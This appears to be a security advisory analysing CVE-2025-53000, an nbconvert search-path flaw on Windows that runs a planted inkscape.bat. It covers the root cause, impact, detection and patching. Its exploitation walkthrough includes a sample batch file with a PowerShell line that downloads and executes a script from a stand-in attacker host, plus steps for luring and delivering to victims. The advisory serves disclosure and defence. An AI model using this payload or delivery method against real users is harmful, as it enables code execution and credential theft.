CVE-2025-53000: 
Python vulnerability analysis and mitigation

CVE-2025-53000 is an Uncontrolled Search Path Element vulnerability in Jupyter's nbconvert tool (CWE-427) that allows arbitrary code execution on Windows when converting a notebook containing SVG output to PDF. Versions up to and including 7.16.6 are affected; the issue is fixed in version 7.17.0. The vulnerability was discovered by Imperva Threat Research (Yohann Sillam), disclosed to the Jupyter team on June 8, 2025, and publicly published on December 17, 2025 after the 90-day disclosure window elapsed without a patch. It carries a CVSS v3.1 score of 7.8 (High) and a CVSS v4.0 score of 8.5 (High) (GitHub Advisory, Imperva).

The root cause (CWE-427) lies in nbconvert/preprocessors/svg2pdf.py, where the SVG2PDFPreprocessor resolves the Inkscape executable path using Python's shutil.which("inkscape") without restricting the search to safe, known directories (GitHub Source). On Windows, shutil.which() follows the Windows API behavior of including the current working directory (CWD) in the search path when the NoDefaultCurrentDirectoryInExePath environment variable is not set — which is the default on standard Windows installations. Python versions prior to 3.12 ignore this environment variable entirely, making the unsafe behavior unmitigable through configuration alone. An attacker places a malicious inkscape.bat batch script in the same directory as the target notebook; when the victim runs jupyter nbconvert --to pdf on a notebook with SVG output, the malicious .bat file is resolved and executed instead of the legitimate Inkscape binary (Imperva, GitHub Advisory).

Successful exploitation grants the attacker arbitrary code execution in the context of the victim user's account, directly impacting confidentiality, integrity, and availability. On typical Windows data-science workstations, victim accounts commonly have access to sensitive notebooks and datasets, cached cloud credentials (AWS CLI, Azure CLI, gcloud, Databricks), and locally installed package managers and DevOps pipelines — all of which can be leveraged for lateral movement or data exfiltration. The attack is particularly dangerous in collaborative environments such as academic research groups, data science teams, or educational institutions where notebooks are frequently shared (Imperva).

A public proof-of-concept (PoC) was included in the GitHub Security Advisory and demonstrated via a video by Imperva, showing that placing an inkscape.bat file in the notebook directory and running jupyter nbconvert --to pdf triggers execution (GitHub Advisory, Imperva). No evidence of in-the-wild exploitation or threat actor attribution has been reported. The EPSS score is approximately 0.014% (3rd percentile), indicating a low current probability of exploitation in the next 30 days. The vulnerability is not listed in the CISA KEV catalog. Exploitation requires user interaction — the victim must run the nbconvert --to pdf command on a notebook with SVG output from a directory controlled or influenced by the attacker.

1. Prepare the malicious directory: Create or gain write access to a directory where the target user is likely to store or run Jupyter notebooks (e.g., a shared project folder, a downloaded repository, or a directory distributed via email/collaboration platform).
2. Create the malicious batch file: Place a file named inkscape.bat in that directory. The file should contain arbitrary Windows batch commands, for example:

   @echo off
   msg * "You've been hacked!"
   powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"

3. Prepare the lure notebook: Include a Jupyter notebook (.ipynb) in the same directory that contains at least one SVG cell output. This can be a legitimate-looking data science notebook (e.g., Machine_Learning.ipynb) with a matplotlib or other SVG-generating cell output embedded.
4. Deliver to the victim: Distribute the directory (e.g., via GitHub, email attachment, shared drive, or supply chain compromise) to a Windows user running nbconvert ≤ 7.16.6.
5. Trigger exploitation: When the victim runs jupyter nbconvert --to pdf Machine_Learning.ipynb from the malicious directory, the svg2pdf.py preprocessor calls shutil.which("inkscape"), which resolves to inkscape.bat in the CWD due to Windows search path behavior.
6. Achieve code execution: The inkscape.bat script executes with the victim's user privileges, enabling data theft, credential harvesting, malware installation, or further lateral movement (Imperva, GitHub Advisory).

• File System: Presence of an inkscape.bat file in a directory alongside .ipynb notebook files; unexpected batch scripts or executables named inkscape.bat, inkscape.exe, or similar in notebook working directories.
• Process: Unexpected cmd.exe or powershell.exe child processes spawned by the Python/nbconvert process during a PDF export operation; msg.exe or other unusual processes launched from the notebook directory context.
• Logs: Windows Event Logs (Security, Application) showing process creation events (Event ID 4688) where cmd.exe or powershell.exe is a child of python.exe or jupyter.exe during nbconvert execution; unexpected outbound network connections from cmd.exe or powershell.exe initiated during notebook conversion.
• Network: Outbound connections to unknown external IPs or domains initiated shortly after a jupyter nbconvert --to pdf command is run, particularly from cmd.exe or powershell.exe processes.

Upgrade nbconvert to version 7.17.0, which fixes the vulnerability by prioritizing the Windows registry lookup for Inkscape before any PATH search, setting the NODEFAULTCURRENTDIRECTORYINEXEPATH environment variable to block CWD inclusion, and adding an explicit CWD-detection check for Python < 3.12 (GitHub Advisory, Fix Commit). As interim workarounds: set the NoDefaultCurrentDirectoryInExePath Windows environment variable to prevent CWD inclusion in executable searches; avoid running jupyter nbconvert --to pdf on notebooks from untrusted or shared directories; use a centralized Jupyter server rather than local execution; and upgrade to Python 3.12+ where shutil.which() properly respects the environment variable (Imperva).

Imperva Threat Research published a detailed technical blog post and demonstration video on December 16–17, 2025, noting that the Jupyter team had initially acknowledged and reproduced the issue but eventually stopped responding before a patch was released, prompting Imperva to publish after their 90-day disclosure policy elapsed (Imperva). A community member (cooperellidg) independently opened a public GitHub issue (#2258) on December 21, 2025, to rally community involvement in a fix after confirming no behind-the-scenes work was underway (GitHub Issue). The vulnerability was covered by Security Boulevard and picked up by several CVE tracking and threat intelligence platforms shortly after disclosure. The fix was ultimately contributed by community members and merged as commit c9ac1d1, with the patched version 7.17.0 released on February 10, 2026 (Fix Commit).